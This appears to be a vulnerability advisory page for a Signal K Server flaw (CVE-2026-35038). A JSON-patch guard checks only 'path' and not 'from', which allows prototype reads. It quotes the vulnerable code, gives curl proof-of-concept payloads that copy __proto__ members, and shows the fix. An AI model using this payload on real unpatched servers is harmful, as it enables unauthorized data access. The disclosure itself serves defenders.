CVE-2026-35038: Signal K Server: Arbitrary Prototype Read via `from` Field Bypass
Summary The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property.
Published Apr 3, 2026
Affected packages
signalk-server
- Ecosystem
- npm
- Affected
- < 2.24.0
- Fixed in
- 2.24.0
- Check
npm ls signalk-server
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /__proto__/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.
While this does not allow arbitrary code execution (as the destination path remains protected from __proto__), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.
Vulnerability Root Cause
File: src/interfaces/applicationData.js (Lines 48-57)
const DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype']
function isPrototypePollutionPath(pathString) {
const segments = pathString.split(/[./]/)
return segments.some((seg) => DANGEROUS_PATH_SEGMENTS.includes(seg))
}
function hasPrototypePollutionPatch(patches) {
return patches.some(
// [!VULNERABLE] Only checks patch.path, completely ignores patch.from
(patch) => patch.path && isPrototypePollutionPath(patch.path)
)
}At Line 201:
if (hasPrototypePollutionPatch(req.body)) {
res.status(400).send('invalid patch path')
return
}
jsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'
Proof of Concept (PoC)
Verify the Developer Guard Works (The Blocked Payload):
curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"op": "add", "path": "/__proto__/polluted", "value": "hacked"}]'Result: 400 Bad Request - invalid patch path
Execute the Bypass (The Malicious Payload):
curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{"op": "copy", "from": "/__proto__/toString", "path": "/stolen"}]'Result: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the __proto__ internal function reference.
Security Impact
This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.
Fixing Arbitrary Prototype Read
The hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:
function hasPrototypePollutionPatch(patches) {
return patches.some(
(patch) =>
(patch.path && isPrototypePollutionPath(patch.path)) ||
(patch.from && isPrototypePollutionPath(patch.from))
)
}Credited to VashuVats.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesGHSA-7m8x-x364-m26j
Signal K Server: Buffered logs exposed to unauthenticated WebSocket clients
medium5.3Nov 12, 2026CVE-2026-123807
Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution
critical9.8Oct 30, 2026GHSA-7wpf-ch8f-5f4x
signalk-server has SSRF via absolute signalk.appIcon URL in the app store icon fetcher
medium4.2Oct 30, 2026CVE-2026-55591
Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints
medium5.8Jun 18, 2026CVE-2026-41893
Signal K Server's WebSocket Login Endpoint Lacks Rate Limiting (Credential Brute-Force)
high8.7May 4, 2026CVE-2026-39320
Signal K Server has an Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths
high7.5Apr 21, 2026
